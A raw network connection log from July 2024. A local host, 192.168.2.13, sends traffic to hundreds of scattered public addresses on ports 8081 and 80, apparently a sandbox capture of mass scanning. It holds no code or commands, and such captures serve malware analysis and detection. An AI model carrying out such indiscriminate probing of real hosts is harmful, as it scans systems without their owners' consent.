Jul 20, 2024 23:00:58.653791904 CEST	8081	50565	37.95.21.201	192.168.2.13
Jul 20, 2024 23:00:58.653995991 CEST	8081	50565	104.121.55.224	192.168.2.13
Jul 20, 2024 23:00:58.654031992 CEST	8081	50565	172.169.195.21	192.168.2.13
Jul 20, 2024 23:00:58.654059887 CEST	8081	50565	217.32.72.67	192.168.2.13
Jul 20, 2024 23:00:58.654088020 CEST	8081	50565	116.20.21.221	192.168.2.13
Jul 20, 2024 23:00:58.654118061 CEST	8081	50565	100.51.24.79	192.168.2.13
Jul 20, 2024 23:00:58.654146910 CEST	8081	50565	144.158.148.160	192.168.2.13
Jul 20, 2024 23:00:58.654175043 CEST	8081	50565	182.4.25.2	192.168.2.13
Jul 20, 2024 23:00:58.654203892 CEST	8081	50565	86.112.206.20	192.168.2.13
Jul 20, 2024 23:00:58.654234886 CEST	8081	50565	14.11.59.216	192.168.2.13
Jul 20, 2024 23:00:58.654264927 CEST	8081	50565	210.165.42.21	192.168.2.13
Jul 20, 2024 23:00:58.654320955 CEST	8081	50565	173.208.77.243	192.168.2.13
Jul 20, 2024 23:00:58.654352903 CEST	8081	50565	178.9.35.137	192.168.2.13
Jul 20, 2024 23:00:58.654382944 CEST	8081	50565	130.219.171.86	192.168.2.13
Jul 20, 2024 23:00:58.654411077 CEST	8081	50565	66.77.188.156	192.168.2.13
Jul 20, 2024 23:00:58.654439926 CEST	8081	50565	9.29.133.23	192.168.2.13
Jul 20, 2024 23:00:58.654470921 CEST	8081	50565	88.12.234.69	192.168.2.13
Jul 20, 2024 23:00:58.654500008 CEST	8081	50565	183.41.184.24	192.168.2.13
Jul 20, 2024 23:00:58.654529095 CEST	8081	50565	189.255.174.137	192.168.2.13
Jul 20, 2024 23:00:58.654558897 CEST	8081	50565	160.246.149.90	192.168.2.13
Jul 20, 2024 23:00:58.654577971 CEST	50568	80	192.168.2.13	88.31.145.92
Jul 20, 2024 23:00:58.654577971 CEST	50568	80	192.168.2.13	88.168.133.200
Jul 20, 2024 23:00:58.654577971 CEST	50568	80	192.168.2.13	88.11.53.195
Jul 20, 2024 23:00:58.654577971 CEST	50568	80	192.168.2.13	88.204.108.175
Jul 20, 2024 23:00:58.654577971 CEST	50568	80	192.168.2.13	88.91.94.195
Jul 20, 2024 23:00:58.654577971 CEST	50568	80	192.168.2.13	88.214.91.164
Jul 20, 2024 23:00:58.654577971 CEST	50568	80	192.168.2.13	88.236.216.9
Jul 20, 2024 23:00:58.654577971 CEST	50568	80	192.168.2.13	88.185.231.90
Jul 20, 2024 23:00:58.654604912 CEST	8081	50565	221.158.28.228	192.168.2.13
Jul 20, 2024 23:00:58.654607058 CEST	50568	80	192.168.2.13	88.95.76.231
Jul 20, 2024 23:00:58.654607058 CEST	50568	80	192.168.2.13	88.60.255.249
Jul 20, 2024 23:00:58.654607058 CEST	50568	80	192.168.2.13	88.40.83.143
Jul 20, 2024 23:00:58.654607058 CEST	50568	80	192.168.2.13	88.115.87.106
Jul 20, 2024 23:00:58.654607058 CEST	50568	80	192.168.2.13	88.194.170.76
Jul 20, 2024 23:00:58.654607058 CEST	50568	80	192.168.2.13	88.110.99.36
Jul 20, 2024 23:00:58.654607058 CEST	50568	80	192.168.2.13	88.222.100.42
Jul 20, 2024 23:00:58.654607058 CEST	50568	80	192.168.2.13	88.221.47.36
Jul 20, 2024 23:00:58.654679060 CEST	8081	50565	211.150.198.165	192.168.2.13
Jul 20, 2024 23:00:58.654716969 CEST	8081	50565	70.115.97.135	192.168.2.13
Jul 20, 2024 23:00:58.654732943 CEST	50568	80	192.168.2.13	88.241.177.22
Jul 20, 2024 23:00:58.654732943 CEST	50565	8081	192.168.2.13	143.208.156.220
Jul 20, 2024 23:00:58.654732943 CEST	50565	8081	192.168.2.13	114.30.42.208
Jul 20, 2024 23:00:58.654733896 CEST	50565	8081	192.168.2.13	97.40.0.232
Jul 20, 2024 23:00:58.654733896 CEST	50568	80	192.168.2.13	88.56.0.126
Jul 20, 2024 23:00:58.654733896 CEST	50568	80	192.168.2.13	88.207.103.153
Jul 20, 2024 23:00:58.654733896 CEST	50568	80	192.168.2.13	88.62.196.103
Jul 20, 2024 23:00:58.654733896 CEST	50568	80	192.168.2.13	88.70.121.12
Jul 20, 2024 23:00:58.654747963 CEST	8081	50565	80.68.41.88	192.168.2.13
Jul 20, 2024 23:00:58.654784918 CEST	8081	50565	4.17.149.227	192.168.2.13
Jul 20, 2024 23:00:58.654839039 CEST	8081	50565	134.203.83.23	192.168.2.13
Jul 20, 2024 23:00:58.654869080 CEST	8081	50565	197.205.114.143	192.168.2.13
Jul 20, 2024 23:00:58.654898882 CEST	8081	50565	133.44.79.146	192.168.2.13
Jul 20, 2024 23:00:58.654927969 CEST	8081	50565	62.0.54.232	192.168.2.13
Jul 20, 2024 23:00:58.654958010 CEST	8081	50565	125.215.67.139	192.168.2.13
Jul 20, 2024 23:00:58.654985905 CEST	8081	50565	118.206.223.154	192.168.2.13
Jul 20, 2024 23:00:58.655016899 CEST	8081	50565	180.124.34.41	192.168.2.13
Jul 20, 2024 23:00:58.655029058 CEST	50568	80	192.168.2.13	88.117.222.91
Jul 20, 2024 23:00:58.655029058 CEST	50568	80	192.168.2.13	88.183.179.90
Jul 20, 2024 23:00:58.655029058 CEST	50568	80	192.168.2.13	88.47.144.213
Jul 20, 2024 23:00:58.655029058 CEST	50568	80	192.168.2.13	88.253.118.70
Jul 20, 2024 23:00:58.655029058 CEST	50568	80	192.168.2.13	88.10.119.162
Jul 20, 2024 23:00:58.655029058 CEST	50568	80	192.168.2.13	88.94.123.21
Jul 20, 2024 23:00:58.655029058 CEST	50568	80	192.168.2.13	88.228.22.137
Jul 20, 2024 23:00:58.655029058 CEST	50568	80	192.168.2.13	88.203.34.200
Jul 20, 2024 23:00:58.655045986 CEST	8081	50565	114.77.67.205	192.168.2.13
Jul 20, 2024 23:00:58.655101061 CEST	8081	50565	1.200.179.149	192.168.2.13
Jul 20, 2024 23:00:58.655129910 CEST	8081	50565	74.74.185.154	192.168.2.13
Jul 20, 2024 23:00:58.655158997 CEST	8081	50565	60.80.104.64	192.168.2.13
Jul 20, 2024 23:00:58.655188084 CEST	8081	50565	81.153.29.79	192.168.2.13
Jul 20, 2024 23:00:58.655241013 CEST	8081	50565	118.14.228.51	192.168.2.13
Jul 20, 2024 23:00:58.655270100 CEST	8081	50565	130.82.205.50	192.168.2.13
Jul 20, 2024 23:00:58.655299902 CEST	8081	50565	36.158.2.218	192.168.2.13
Jul 20, 2024 23:00:58.655328035 CEST	8081	50565	54.117.207.171	192.168.2.13
Jul 20, 2024 23:00:58.655356884 CEST	8081	50565	140.251.31.222	192.168.2.13
Jul 20, 2024 23:00:58.655386925 CEST	8081	50565	180.244.103.212	192.168.2.13
Jul 20, 2024 23:00:58.655440092 CEST	8081	50565	35.194.214.78	192.168.2.13
Jul 20, 2024 23:00:58.655471087 CEST	8081	50565	145.216.15.149	192.168.2.13
Jul 20, 2024 23:00:58.656131983 CEST	50565	8081	192.168.2.13	118.88.197.138
Jul 20, 2024 23:00:58.656131983 CEST	50565	8081	192.168.2.13	168.216.127.173
Jul 20, 2024 23:00:58.656131983 CEST	50565	8081	192.168.2.13	120.212.148.136
Jul 20, 2024 23:00:58.656131983 CEST	50565	8081	192.168.2.13	141.23.130.76
Jul 20, 2024 23:00:58.656131983 CEST	50565	8081	192.168.2.13	147.230.135.122
Jul 20, 2024 23:00:58.656131983 CEST	50565	8081	192.168.2.13	24.253.166.170
Jul 20, 2024 23:00:58.656131983 CEST	50565	8081	192.168.2.13	130.219.171.86
Jul 20, 2024 23:00:58.656131983 CEST	50565	8081	192.168.2.13	183.41.184.24
Jul 20, 2024 23:00:58.656191111 CEST	50568	80	192.168.2.13	88.39.169.246
Jul 20, 2024 23:00:58.656191111 CEST	50568	80	192.168.2.13	88.79.4.27
Jul 20, 2024 23:00:58.656191111 CEST	50565	8081	192.168.2.13	109.42.180.137
Jul 20, 2024 23:00:58.656191111 CEST	50565	8081	192.168.2.13	108.34.97.187
Jul 20, 2024 23:00:58.656191111 CEST	50565	8081	192.168.2.13	1.190.106.28
Jul 20, 2024 23:00:58.656191111 CEST	50565	8081	192.168.2.13	76.141.184.226
Jul 20, 2024 23:00:58.656191111 CEST	50565	8081	192.168.2.13	13.185.79.229
Jul 20, 2024 23:00:58.656191111 CEST	50565	8081	192.168.2.13	178.9.35.137
Jul 20, 2024 23:00:58.656239986 CEST	8081	50565	165.105.54.22	192.168.2.13
Jul 20, 2024 23:00:58.656311035 CEST	8081	50565	76.22.1.183	192.168.2.13
Jul 20, 2024 23:00:58.656341076 CEST	8081	50565	91.137.132.92	192.168.2.13
Jul 20, 2024 23:00:58.656372070 CEST	8081	50565	89.187.123.20	192.168.2.13
Jul 20, 2024 23:00:58.656519890 CEST	8081	50565	38.152.182.189	192.168.2.13
Jul 20, 2024 23:00:58.656584024 CEST	8081	50565	73.226.236.11	192.168.2.13
Jul 20, 2024 23:00:58.656601906 CEST	50568	80	192.168.2.13	88.96.53.58
Jul 20, 2024 23:00:58.656601906 CEST	50568	80	192.168.2.13	88.115.207.35
Jul 20, 2024 23:00:58.656601906 CEST	50568	80	192.168.2.13	88.46.192.156
Jul 20, 2024 23:00:58.656601906 CEST	50568	80	192.168.2.13	88.187.27.29
Jul 20, 2024 23:00:58.656601906 CEST	50568	80	192.168.2.13	88.211.244.89
Jul 20, 2024 23:00:58.656601906 CEST	50568	80	192.168.2.13	88.84.148.82
Jul 20, 2024 23:00:58.656601906 CEST	50568	80	192.168.2.13	88.28.231.133
Jul 20, 2024 23:00:58.656601906 CEST	50568	80	192.168.2.13	88.173.152.171
Jul 20, 2024 23:00:58.657089949 CEST	50568	80	192.168.2.13	88.15.130.209
Jul 20, 2024 23:00:58.657089949 CEST	50568	80	192.168.2.13	88.66.15.119
Jul 20, 2024 23:00:58.657089949 CEST	50568	80	192.168.2.13	88.144.40.138
Jul 20, 2024 23:00:58.657089949 CEST	50568	80	192.168.2.13	88.39.167.212
Jul 20, 2024 23:00:58.657089949 CEST	50568	80	192.168.2.13	88.57.169.186
Jul 20, 2024 23:00:58.657089949 CEST	50568	80	192.168.2.13	88.103.185.103
Jul 20, 2024 23:00:58.657090902 CEST	50565	8081	192.168.2.13	179.214.55.135
Jul 20, 2024 23:00:58.657233953 CEST	50565	8081	192.168.2.13	124.242.223.36
Jul 20, 2024 23:00:58.657233953 CEST	50568	80	192.168.2.13	88.43.79.4
Jul 20, 2024 23:00:58.657233953 CEST	50568	80	192.168.2.13	88.144.5.185
Jul 20, 2024 23:00:58.657233953 CEST	50568	80	192.168.2.13	88.254.213.91
Jul 20, 2024 23:00:58.657234907 CEST	50568	80	192.168.2.13	88.76.12.228
Jul 20, 2024 23:00:58.657234907 CEST	50568	80	192.168.2.13	88.73.50.91
Jul 20, 2024 23:00:58.657234907 CEST	50568	80	192.168.2.13	88.248.32.197
Jul 20, 2024 23:00:58.657356977 CEST	50568	80	192.168.2.13	88.142.208.235
Jul 20, 2024 23:00:58.657357931 CEST	50568	80	192.168.2.13	88.147.170.219
Jul 20, 2024 23:00:58.657357931 CEST	50568	80	192.168.2.13	88.80.24.110
Jul 20, 2024 23:00:58.657357931 CEST	50568	80	192.168.2.13	88.223.167.102
Jul 20, 2024 23:00:58.657357931 CEST	50568	80	192.168.2.13	88.156.231.246
Jul 20, 2024 23:00:58.657357931 CEST	50568	80	192.168.2.13	88.60.133.30
Jul 20, 2024 23:00:58.657357931 CEST	50568	80	192.168.2.13	88.3.244.128
Jul 20, 2024 23:00:58.657357931 CEST	50568	80	192.168.2.13	88.161.242.84
Jul 20, 2024 23:00:58.657455921 CEST	8081	50565	138.28.105.92	192.168.2.13
Jul 20, 2024 23:00:58.657501936 CEST	8081	50565	38.137.91.224	192.168.2.13
Jul 20, 2024 23:00:58.657533884 CEST	8081	50565	162.19.7.39	192.168.2.13
Jul 20, 2024 23:00:58.657565117 CEST	8081	50565	168.54.33.18	192.168.2.13
Jul 20, 2024 23:00:58.657596111 CEST	8081	50565	14.217.247.201	192.168.2.13
Jul 20, 2024 23:00:58.657644033 CEST	8081	50565	132.112.127.230	192.168.2.13
Jul 20, 2024 23:00:58.657675028 CEST	8081	50565	210.14.86.159	192.168.2.13
Jul 20, 2024 23:00:58.657705069 CEST	8081	50565	20.19.44.152	192.168.2.13
Jul 20, 2024 23:00:58.657735109 CEST	8081	50565	47.19.229.1	192.168.2.13
Jul 20, 2024 23:00:58.657835960 CEST	8081	50565	217.241.134.162	192.168.2.13
Jul 20, 2024 23:00:58.657866955 CEST	8081	50565	46.39.191.49	192.168.2.13
Jul 20, 2024 23:00:58.657897949 CEST	8081	50565	211.52.133.239	192.168.2.13
Jul 20, 2024 23:00:58.657927990 CEST	80	50568	88.59.14.239	192.168.2.13
Jul 20, 2024 23:00:58.657959938 CEST	8081	50565	131.169.220.199	192.168.2.13
Jul 20, 2024 23:00:58.657990932 CEST	8081	50565	123.135.78.85	192.168.2.13
Jul 20, 2024 23:00:58.658021927 CEST	8081	50565	14.18.87.181	192.168.2.13
Jul 20, 2024 23:00:58.658051968 CEST	8081	50565	12.120.192.163	192.168.2.13
Jul 20, 2024 23:00:58.658081055 CEST	8081	50565	125.119.2.235	192.168.2.13
Jul 20, 2024 23:00:58.658109903 CEST	8081	50565	200.82.236.203	192.168.2.13
Jul 20, 2024 23:00:58.658140898 CEST	80	50568	88.235.23.149	192.168.2.13
Jul 20, 2024 23:00:58.658170938 CEST	8081	50565	131.185.209.108	192.168.2.13
Jul 20, 2024 23:00:58.658204079 CEST	8081	50565	39.168.134.97	192.168.2.13
Jul 20, 2024 23:00:58.658233881 CEST	8081	50565	43.249.64.134	192.168.2.13
Jul 20, 2024 23:00:58.658263922 CEST	8081	50565	121.100.66.29	192.168.2.13
Jul 20, 2024 23:00:58.658308983 CEST	80	50568	88.36.207.19	192.168.2.13
Jul 20, 2024 23:00:58.658341885 CEST	50568	80	192.168.2.13	88.54.237.23
Jul 20, 2024 23:00:58.658341885 CEST	50568	80	192.168.2.13	88.158.140.2
Jul 20, 2024 23:00:58.658341885 CEST	50565	8081	192.168.2.13	47.100.149.89
Jul 20, 2024 23:00:58.658343077 CEST	50565	8081	192.168.2.13	27.254.224.242
Jul 20, 2024 23:00:58.658343077 CEST	50565	8081	192.168.2.13	135.188.25.100
Jul 20, 2024 23:00:58.658343077 CEST	50565	8081	192.168.2.13	85.247.110.68
Jul 20, 2024 23:00:58.658343077 CEST	50565	8081	192.168.2.13	211.23.10.210
Jul 20, 2024 23:00:58.658343077 CEST	50565	8081	192.168.2.13	14.129.83.80
Jul 20, 2024 23:00:58.658370972 CEST	8081	50565	83.78.185.118	192.168.2.13
Jul 20, 2024 23:00:58.658401012 CEST	8081	50565	52.155.53.16	192.168.2.13
Jul 20, 2024 23:00:58.658432007 CEST	8081	50565	73.19.20.50	192.168.2.13
Jul 20, 2024 23:00:58.658463955 CEST	8081	50565	45.78.64.179	192.168.2.13
Jul 20, 2024 23:00:58.658493996 CEST	80	50568	88.31.32.16	192.168.2.13
Jul 20, 2024 23:00:58.658524036 CEST	8081	50565	133.142.27.178	192.168.2.13
Jul 20, 2024 23:00:58.658556938 CEST	8081	50565	134.79.83.231	192.168.2.13
Jul 20, 2024 23:00:58.658616066 CEST	8081	50565	107.94.20.210	192.168.2.13
Jul 20, 2024 23:00:58.658644915 CEST	8081	50565	65.48.2.108	192.168.2.13
Jul 20, 2024 23:00:58.658674002 CEST	8081	50565	42.43.78.78	192.168.2.13
Jul 20, 2024 23:00:58.658703089 CEST	80	50568	88.179.97.55	192.168.2.13
Jul 20, 2024 23:00:58.658730984 CEST	8081	50565	129.218.9.212	192.168.2.13
Jul 20, 2024 23:00:58.658735037 CEST	50568	80	192.168.2.13	88.82.156.71
Jul 20, 2024 23:00:58.658735037 CEST	50568	80	192.168.2.13	88.139.53.242
Jul 20, 2024 23:00:58.658735991 CEST	50568	80	192.168.2.13	88.217.111.86
Jul 20, 2024 23:00:58.658735991 CEST	50568	80	192.168.2.13	88.185.18.207
Jul 20, 2024 23:00:58.658735991 CEST	50568	80	192.168.2.13	88.51.29.49
Jul 20, 2024 23:00:58.658735991 CEST	50568	80	192.168.2.13	88.55.81.133
Jul 20, 2024 23:00:58.658735991 CEST	50568	80	192.168.2.13	88.223.170.102
Jul 20, 2024 23:00:58.658735991 CEST	50568	80	192.168.2.13	88.117.62.222
Jul 20, 2024 23:00:58.658759117 CEST	8081	50565	218.67.60.128	192.168.2.13
Jul 20, 2024 23:00:58.658787966 CEST	8081	50565	206.159.6.219	192.168.2.13
Jul 20, 2024 23:00:58.658816099 CEST	8081	50565	151.241.150.207	192.168.2.13
Jul 20, 2024 23:00:58.658843994 CEST	8081	50565	69.179.58.224	192.168.2.13
Jul 20, 2024 23:00:58.658896923 CEST	8081	50565	223.200.73.225	192.168.2.13
Jul 20, 2024 23:00:58.658931017 CEST	8081	50565	181.172.116.237	192.168.2.13
Jul 20, 2024 23:00:58.658958912 CEST	8081	50565	126.136.87.253	192.168.2.13
Jul 20, 2024 23:00:58.658988953 CEST	8081	50565	199.254.182.224	192.168.2.13
Jul 20, 2024 23:00:58.659015894 CEST	8081	50565	124.38.177.48	192.168.2.13
Jul 20, 2024 23:00:58.659034967 CEST	50565	8081	192.168.2.13	221.158.28.228
Jul 20, 2024 23:00:58.659034967 CEST	50565	8081	192.168.2.13	60.80.104.64
Jul 20, 2024 23:00:58.659034967 CEST	50565	8081	192.168.2.13	91.137.132.92
Jul 20, 2024 23:00:58.659034967 CEST	50565	8081	192.168.2.13	132.112.127.230
Jul 20, 2024 23:00:58.659034967 CEST	50565	8081	192.168.2.13	210.14.86.159
Jul 20, 2024 23:00:58.659034967 CEST	50565	8081	192.168.2.13	211.52.133.239
Jul 20, 2024 23:00:58.659034967 CEST	50565	8081	192.168.2.13	131.169.220.199
Jul 20, 2024 23:00:58.659034967 CEST	50565	8081	192.168.2.13	200.82.236.203
Jul 20, 2024 23:00:58.659060001 CEST	50565	8081	192.168.2.13	134.203.83.23
Jul 20, 2024 23:00:58.659060001 CEST	50565	8081	192.168.2.13	81.153.29.79
Jul 20, 2024 23:00:58.659060001 CEST	50565	8081	192.168.2.13	130.82.205.50
Jul 20, 2024 23:00:58.659060001 CEST	50565	8081	192.168.2.13	35.194.214.78
Jul 20, 2024 23:00:58.659060001 CEST	50565	8081	192.168.2.13	89.187.123.20
Jul 20, 2024 23:00:58.659060001 CEST	50565	8081	192.168.2.13	73.226.236.11
Jul 20, 2024 23:00:58.659060001 CEST	50565	8081	192.168.2.13	20.19.44.152
Jul 20, 2024 23:00:58.659543037 CEST	50565	8081	192.168.2.13	81.48.29.132
Jul 20, 2024 23:00:58.659543037 CEST	50565	8081	192.168.2.13	90.87.93.139
Jul 20, 2024 23:00:58.659543037 CEST	50565	8081	192.168.2.13	27.125.93.236
Jul 20, 2024 23:00:58.659543037 CEST	50565	8081	192.168.2.13	18.15.144.190
Jul 20, 2024 23:00:58.659543037 CEST	50565	8081	192.168.2.13	79.65.232.86
Jul 20, 2024 23:00:58.659543037 CEST	50565	8081	192.168.2.13	117.177.164.2
Jul 20, 2024 23:00:58.659543037 CEST	50565	8081	192.168.2.13	14.11.59.216
Jul 20, 2024 23:00:58.659543037 CEST	50565	8081	192.168.2.13	9.29.133.23
Jul 20, 2024 23:00:58.659652948 CEST	50565	8081	192.168.2.13	160.152.72.177
Jul 20, 2024 23:00:58.659652948 CEST	50565	8081	192.168.2.13	100.51.24.79
Jul 20, 2024 23:00:58.659652948 CEST	50565	8081	192.168.2.13	182.4.25.2
Jul 20, 2024 23:00:58.659652948 CEST	50565	8081	192.168.2.13	210.165.42.21
Jul 20, 2024 23:00:58.659652948 CEST	50565	8081	192.168.2.13	211.150.198.165
Jul 20, 2024 23:00:58.659652948 CEST	50565	8081	192.168.2.13	80.68.41.88
Jul 20, 2024 23:00:58.659652948 CEST	50565	8081	192.168.2.13	133.44.79.146
Jul 20, 2024 23:00:58.659652948 CEST	50565	8081	192.168.2.13	125.215.67.139
Jul 20, 2024 23:00:58.660170078 CEST	50565	8081	192.168.2.13	39.168.134.97
Jul 20, 2024 23:00:58.660171032 CEST	50565	8081	192.168.2.13	121.100.66.29
Jul 20, 2024 23:00:58.660171032 CEST	50565	8081	192.168.2.13	83.78.185.118
Jul 20, 2024 23:00:58.660171032 CEST	50565	8081	192.168.2.13	218.67.60.128
Jul 20, 2024 23:00:58.660276890 CEST	50568	80	192.168.2.13	88.95.217.148
Jul 20, 2024 23:00:58.660276890 CEST	50568	80	192.168.2.13	88.178.196.213
Jul 20, 2024 23:00:58.660276890 CEST	50568	80	192.168.2.13	88.191.74.35
Jul 20, 2024 23:00:58.660276890 CEST	50568	80	192.168.2.13	88.229.215.174
Jul 20, 2024 23:00:58.660276890 CEST	50565	8081	192.168.2.13	168.104.48.153
Jul 20, 2024 23:00:58.660276890 CEST	50565	8081	192.168.2.13	119.52.87.11
Jul 20, 2024 23:00:58.660276890 CEST	50565	8081	192.168.2.13	207.193.20.97
Jul 20, 2024 23:00:58.660276890 CEST	50565	8081	192.168.2.13	37.95.21.201
Jul 20, 2024 23:00:58.660352945 CEST	50568	80	192.168.2.13	88.11.238.53
Jul 20, 2024 23:00:58.660352945 CEST	50568	80	192.168.2.13	88.53.69.157
Jul 20, 2024 23:00:58.660352945 CEST	50565	8081	192.168.2.13	201.57.117.31
Jul 20, 2024 23:00:58.660352945 CEST	50565	8081	192.168.2.13	172.169.195.21
Jul 20, 2024 23:00:58.660352945 CEST	50565	8081	192.168.2.13	173.208.77.243
Jul 20, 2024 23:00:58.660352945 CEST	50565	8081	192.168.2.13	66.77.188.156
Jul 20, 2024 23:00:58.660352945 CEST	50565	8081	192.168.2.13	88.12.234.69
Jul 20, 2024 23:00:58.660379887 CEST	50568	80	192.168.2.13	88.59.14.239
Jul 20, 2024 23:00:58.660379887 CEST	50568	80	192.168.2.13	88.235.23.149
Jul 20, 2024 23:00:58.660379887 CEST	50568	80	192.168.2.13	88.36.207.19
Jul 20, 2024 23:00:58.660379887 CEST	50568	80	192.168.2.13	88.31.32.16
Jul 20, 2024 23:00:58.660379887 CEST	50568	80	192.168.2.13	88.179.97.55
Jul 20, 2024 23:00:58.660393953 CEST	50565	8081	192.168.2.13	36.220.242.131
Jul 20, 2024 23:00:58.660393953 CEST	50565	8081	192.168.2.13	98.191.42.176
Jul 20, 2024 23:00:58.660393953 CEST	50565	8081	192.168.2.13	169.254.7.45
Jul 20, 2024 23:00:58.660393953 CEST	50565	8081	192.168.2.13	89.91.28.184
Jul 20, 2024 23:00:58.660393953 CEST	50565	8081	192.168.2.13	92.106.202.141
Jul 20, 2024 23:00:58.660394907 CEST	50568	80	192.168.2.13	88.229.144.100
Jul 20, 2024 23:00:58.660394907 CEST	50568	80	192.168.2.13	88.109.221.124
Jul 20, 2024 23:00:58.660394907 CEST	50565	8081	192.168.2.13	99.213.240.76
Jul 20, 2024 23:00:58.660567045 CEST	8081	50565	50.236.129.27	192.168.2.13
Jul 20, 2024 23:00:58.660586119 CEST	50568	80	192.168.2.13	88.173.127.131
Jul 20, 2024 23:00:58.660586119 CEST	50568	80	192.168.2.13	88.254.88.189
Jul 20, 2024 23:00:58.660586119 CEST	50568	80	192.168.2.13	88.137.14.69
Jul 20, 2024 23:00:58.660586119 CEST	50568	80	192.168.2.13	88.233.65.58
Jul 20, 2024 23:00:58.660586119 CEST	50568	80	192.168.2.13	88.143.197.12
Jul 20, 2024 23:00:58.660586119 CEST	50565	8081	192.168.2.13	179.192.54.138
Jul 20, 2024 23:00:58.660586119 CEST	50565	8081	192.168.2.13	105.250.179.123
Jul 20, 2024 23:00:58.660586119 CEST	50565	8081	192.168.2.13	191.100.108.229
Jul 20, 2024 23:00:58.660588980 CEST	8081	50565	190.7.132.46	192.168.2.13
Jul 20, 2024 23:00:58.660602093 CEST	8081	50565	117.218.27.54	192.168.2.13
Jul 20, 2024 23:00:58.660621881 CEST	8081	50565	221.122.108.67	192.168.2.13
Jul 20, 2024 23:00:58.660635948 CEST	8081	50565	57.174.88.220	192.168.2.13
Jul 20, 2024 23:00:58.660650015 CEST	8081	50565	40.239.242.238	192.168.2.13
Jul 20, 2024 23:00:58.660665035 CEST	8081	50565	182.63.116.247	192.168.2.13
Jul 20, 2024 23:00:58.661029100 CEST	50565	8081	192.168.2.13	182.63.116.247
Jul 20, 2024 23:00:58.661036968 CEST	8081	50565	150.107.212.251	192.168.2.13
Jul 20, 2024 23:00:58.661046028 CEST	50565	8081	192.168.2.13	189.255.174.137
Jul 20, 2024 23:00:58.661046028 CEST	50565	8081	192.168.2.13	54.117.207.171
Jul 20, 2024 23:00:58.661046982 CEST	50565	8081	192.168.2.13	38.152.182.189
Jul 20, 2024 23:00:58.661046982 CEST	50565	8081	192.168.2.13	123.135.78.85
Jul 20, 2024 23:00:58.661046982 CEST	50565	8081	192.168.2.13	12.120.192.163
Jul 20, 2024 23:00:58.661046982 CEST	50565	8081	192.168.2.13	131.185.209.108
Jul 20, 2024 23:00:58.661046982 CEST	50565	8081	192.168.2.13	133.142.27.178
Jul 20, 2024 23:00:58.661046982 CEST	50565	8081	192.168.2.13	129.218.9.212
Jul 20, 2024 23:00:58.661073923 CEST	8081	50565	25.78.168.209	192.168.2.13
Jul 20, 2024 23:00:58.661088943 CEST	80	50568	88.207.39.160	192.168.2.13
Jul 20, 2024 23:00:58.661107063 CEST	8081	50565	167.104.170.100	192.168.2.13
Jul 20, 2024 23:00:58.661123991 CEST	8081	50565	61.179.178.158	192.168.2.13
Jul 20, 2024 23:00:58.661139011 CEST	8081	50565	14.18.228.142	192.168.2.13
Jul 20, 2024 23:00:58.661154032 CEST	80	50568	88.72.207.1	192.168.2.13
Jul 20, 2024 23:00:58.661161900 CEST	50568	80	192.168.2.13	88.207.39.160
Jul 20, 2024 23:00:58.661169052 CEST	80	50568	88.182.133.67	192.168.2.13
Jul 20, 2024 23:00:58.661185026 CEST	8081	50565	20.214.196.103	192.168.2.13
Jul 20, 2024 23:00:58.661201000 CEST	80	50568	88.221.198.181	192.168.2.13
Jul 20, 2024 23:00:58.661216021 CEST	80	50568	88.130.132.206	192.168.2.13
Jul 20, 2024 23:00:58.661231041 CEST	80	50568	88.144.85.68	192.168.2.13
Jul 20, 2024 23:00:58.661246061 CEST	8081	50565	132.60.84.254	192.168.2.13
Jul 20, 2024 23:00:58.661262035 CEST	8081	50565	209.194.43.67	192.168.2.13
Jul 20, 2024 23:00:58.661278963 CEST	80	50568	88.245.235.139	192.168.2.13
Jul 20, 2024 23:00:58.661288023 CEST	50565	8081	192.168.2.13	167.104.170.100
Jul 20, 2024 23:00:58.661288023 CEST	50568	80	192.168.2.13	88.182.133.67
Jul 20, 2024 23:00:58.661288023 CEST	50568	80	192.168.2.13	88.144.85.68
Jul 20, 2024 23:00:58.661293983 CEST	80	50568	88.95.76.231	192.168.2.13
Jul 20, 2024 23:00:58.661309958 CEST	80	50568	88.31.145.92	192.168.2.13
Jul 20, 2024 23:00:58.661444902 CEST	50568	80	192.168.2.13	88.72.207.1
Jul 20, 2024 23:00:58.661444902 CEST	50568	80	192.168.2.13	88.221.198.181
Jul 20, 2024 23:00:58.661581039 CEST	8081	50565	219.231.155.96	192.168.2.13
Jul 20, 2024 23:00:58.661608934 CEST	80	50568	88.92.124.171	192.168.2.13
Jul 20, 2024 23:00:58.661623955 CEST	80	50568	88.168.133.200	192.168.2.13
Jul 20, 2024 23:00:58.661653042 CEST	80	50568	88.40.83.143	192.168.2.13
Jul 20, 2024 23:00:58.661667109 CEST	80	50568	88.119.103.131	192.168.2.13
Jul 20, 2024 23:00:58.661680937 CEST	80	50568	88.187.51.16	192.168.2.13
Jul 20, 2024 23:00:58.661695004 CEST	8081	50565	18.16.20.157	192.168.2.13
Jul 20, 2024 23:00:58.661705017 CEST	50565	8081	192.168.2.13	114.77.67.205
Jul 20, 2024 23:00:58.661705017 CEST	50565	8081	192.168.2.13	118.14.228.51
Jul 20, 2024 23:00:58.661705017 CEST	50565	8081	192.168.2.13	140.251.31.222
Jul 20, 2024 23:00:58.661705017 CEST	50565	8081	192.168.2.13	145.216.15.149
Jul 20, 2024 23:00:58.661705017 CEST	50565	8081	192.168.2.13	138.28.105.92
Jul 20, 2024 23:00:58.661705017 CEST	50565	8081	192.168.2.13	162.19.7.39
Jul 20, 2024 23:00:58.661705017 CEST	50565	8081	192.168.2.13	134.79.83.231
Jul 20, 2024 23:00:58.661705017 CEST	50565	8081	192.168.2.13	107.94.20.210
Jul 20, 2024 23:00:58.661708117 CEST	8081	50565	143.208.156.220	192.168.2.13
Jul 20, 2024 23:00:58.661722898 CEST	80	50568	88.194.170.76	192.168.2.13
Jul 20, 2024 23:00:58.661750078 CEST	80	50568	88.204.108.175	192.168.2.13
Jul 20, 2024 23:00:58.661763906 CEST	80	50568	88.110.99.36	192.168.2.13
Jul 20, 2024 23:00:58.661778927 CEST	80	50568	88.117.222.91	192.168.2.13
Jul 20, 2024 23:00:58.661792040 CEST	80	50568	88.23.226.239	192.168.2.13
Jul 20, 2024 23:00:58.661806107 CEST	80	50568	88.214.91.164	192.168.2.13
Jul 20, 2024 23:00:58.661814928 CEST	50565	8081	192.168.2.13	160.246.149.90
Jul 20, 2024 23:00:58.661814928 CEST	50565	8081	192.168.2.13	197.205.114.143
Jul 20, 2024 23:00:58.661814928 CEST	50565	8081	192.168.2.13	74.74.185.154
Jul 20, 2024 23:00:58.661814928 CEST	50565	8081	192.168.2.13	36.158.2.218
Jul 20, 2024 23:00:58.661814928 CEST	50565	8081	192.168.2.13	76.22.1.183
